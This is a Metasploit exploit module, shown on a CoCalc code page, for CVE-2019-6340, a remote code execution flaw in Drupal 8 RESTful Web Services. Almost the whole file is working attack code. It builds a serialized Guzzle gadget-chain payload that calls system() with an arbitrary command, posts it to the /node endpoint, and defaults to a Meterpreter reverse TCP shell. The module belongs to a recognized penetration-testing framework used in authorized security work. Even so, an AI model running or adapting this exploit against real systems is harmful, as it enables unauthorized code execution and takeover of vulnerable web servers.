Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/drupal_restws_unserialize.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
# NOTE: All (four) Web Services modules need to be enabled
9
Rank = NormalRanking
10
11
include Msf::Exploit::Remote::HTTP::Drupal
12
prepend Msf::Exploit::Remote::AutoCheck
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Drupal RESTful Web Services unserialize() RCE',
19
'Description' => %q{
20
This module exploits a PHP unserialize() vulnerability in Drupal RESTful
21
Web Services by sending a crafted request to the /node REST endpoint.
22
23
As per SA-CORE-2019-003, the initial remediation was to disable POST,
24
PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
25
(albeit cached). Cached nodes can be exploited only once.
26
27
Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
28
this alternate vector.
29
30
Drupal < 8.5.11 and < 8.6.10 are vulnerable.
31
},
32
'Author' => [
33
'Jasper Mattsson', # Discovery
34
'Charles Fol', # PoC
35
'Rotem Reiss', # Module
36
'wvu' # Module
37
],
38
'References' => [
39
['CVE', '2019-6340'],
40
['URL', 'https://www.drupal.org/sa-core-2019-003'],
41
['URL', 'https://www.drupal.org/psa-2019-02-22'],
42
['URL', 'https://www.ambionics.io/blog/drupal8-rce'],
43
['URL', 'https://github.com/ambionics/phpggc'],
44
['URL', 'https://twitter.com/jcran/status/1099206271901798400']
45
],
46
'DisclosureDate' => '2019-02-20',
47
'License' => MSF_LICENSE,
48
'Platform' => ['php', 'unix'],
49
'Arch' => [ARCH_PHP, ARCH_CMD],
50
'Privileged' => false,
51
'Targets' => [
52
[
53
'PHP In-Memory',
54
'Platform' => 'php',
55
'Arch' => ARCH_PHP,
56
'Type' => :php_memory,
57
'Payload' => { 'BadChars' => "'" },
58
'DefaultOptions' => {
59
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
60
}
61
],
62
[
63
'Unix In-Memory',
64
'Platform' => 'unix',
65
'Arch' => ARCH_CMD,
66
'Type' => :unix_memory,
67
'DefaultOptions' => {
68
'PAYLOAD' => 'cmd/unix/generic',
69
'CMD' => 'id'
70
}
71
]
72
],
73
'DefaultTarget' => 0,
74
'Notes' => {
75
'AKA' => ['SA-CORE-2019-003'],
76
'Stability' => [CRASH_SAFE],
77
'SideEffects' => [IOC_IN_LOGS],
78
'Reliability' => [UNRELIABLE_SESSION] # When using the GET method
79
}
80
)
81
)
82
83
register_options([
84
OptEnum.new('METHOD', [
85
true, 'HTTP method to use', 'POST',
86
['GET', 'POST', 'PATCH', 'PUT']
87
]),
88
OptInt.new('NODE', [false, 'Node ID to target with GET method', 1]),
89
OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])
90
])
91
end
92
93
def check
94
checkcode = CheckCode::Unknown
95
96
version = drupal_version
97
98
unless version
99
vprint_error('Could not determine Drupal version')
100
return checkcode
101
end
102
103
if version.to_s !~ /^8\b/
104
vprint_error("Drupal #{version} is not supported")
105
return CheckCode::Safe
106
end
107
108
vprint_status("Drupal #{version} targeted at #{full_uri}")
109
checkcode = CheckCode::Detected
110
111
changelog = drupal_changelog(version)
112
113
unless changelog
114
vprint_error('Could not determine Drupal patch level')
115
return checkcode
116
end
117
118
case drupal_patch(changelog, 'SA-CORE-2019-003')
119
when nil
120
vprint_warning('CHANGELOG.txt no longer contains patch level')
121
when true
122
vprint_warning('Drupal appears patched in CHANGELOG.txt')
123
checkcode = CheckCode::Safe
124
when false
125
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
126
checkcode = CheckCode::Appears
127
end
128
129
# Any further with GET and we risk caching the targeted node
130
return checkcode if meth == 'GET'
131
132
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
133
token = Rex::Text.rand_text_alphanumeric(8..42)
134
res = execute_command("echo #{token}")
135
136
return checkcode unless res
137
138
if res.body.include?(token)
139
vprint_good('Drupal is vulnerable to code execution')
140
checkcode = CheckCode::Vulnerable
141
end
142
143
checkcode
144
end
145
146
def exploit
147
if datastore['PAYLOAD'] == 'cmd/unix/generic'
148
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
149
# XXX: Naughty datastore modification
150
datastore['DUMP_OUTPUT'] = true
151
end
152
153
case target['Type']
154
when :php_memory
155
# XXX: This will spawn a *very* obvious process
156
execute_command("php -r '#{payload.encoded}'")
157
when :unix_memory
158
execute_command(payload.encoded)
159
end
160
end
161
162
def execute_command(cmd, opts = {})
163
vprint_status("Executing with system(): #{cmd}")
164
165
# https://en.wikipedia.org/wiki/Hypertext_Application_Language
166
hal_json = JSON.pretty_generate(
167
'link' => [
168
'value' => 'link',
169
'options' => phpggc_payload(cmd)
170
],
171
'_links' => {
172
'type' => {
173
'href' => vhost_uri
174
}
175
}
176
)
177
178
print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")
179
180
res = send_request_cgi({
181
'method' => meth,
182
'uri' => node_uri,
183
'ctype' => 'application/hal+json',
184
'vars_get' => { '_format' => 'hal_json' },
185
'data' => hal_json
186
}, 3.5)
187
188
return unless res
189
190
case res.code
191
# 401 isn't actually a failure when using the POST method
192
when 200, 401
193
print_line(res.body) if datastore['DUMP_OUTPUT']
194
if meth == 'GET'
195
print_warning('If you did not get code execution, try a new node ID')
196
end
197
when 404
198
print_error("#{node_uri} not found")
199
when 405
200
print_error("#{meth} method not allowed")
201
when 422
202
print_error('VHOST may need to be set')
203
when 406
204
print_error('Web Services may not be enabled')
205
else
206
print_error("Unexpected reply: #{res.inspect}")
207
end
208
209
res
210
end
211
212
# phpggc Guzzle/RCE1 system id
213
def phpggc_payload(cmd)
214
(
215
# http://www.phpinternalsbook.com/classes_objects/serialization.html
216
<<~EOF
217
O:24:"GuzzleHttp\\Psr7\\FnStream":2:{
218
s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{
219
s:5:"close";a:2:{
220
i:0;O:23:"GuzzleHttp\\HandlerStack":3:{
221
s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";
222
s:cmd_len:"cmd";
223
s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";
224
a:1:{i:0;a:1:{i:0;s:6:"system";}}
225
s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";
226
b:0;
227
}
228
i:1;s:7:"resolve";
229
}
230
}
231
s:9:"_fn_close";a:2:{
232
i:0;r:4;
233
i:1;s:7:"resolve";
234
}
235
}
236
EOF
237
).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)
238
end
239
240
def meth
241
datastore['METHOD'] || 'POST'
242
end
243
244
def node
245
datastore['NODE'] || 1
246
end
247
248
def node_uri
249
if meth == 'GET'
250
normalize_uri(target_uri.path, '/node', node)
251
else
252
normalize_uri(target_uri.path, '/node')
253
end
254
end
255
256
def vhost_uri
257
full_uri(
258
normalize_uri(target_uri.path, '/rest/type/shortcut/default'),
259
vhost_uri: true
260
)
261
end
262
263
end
264
265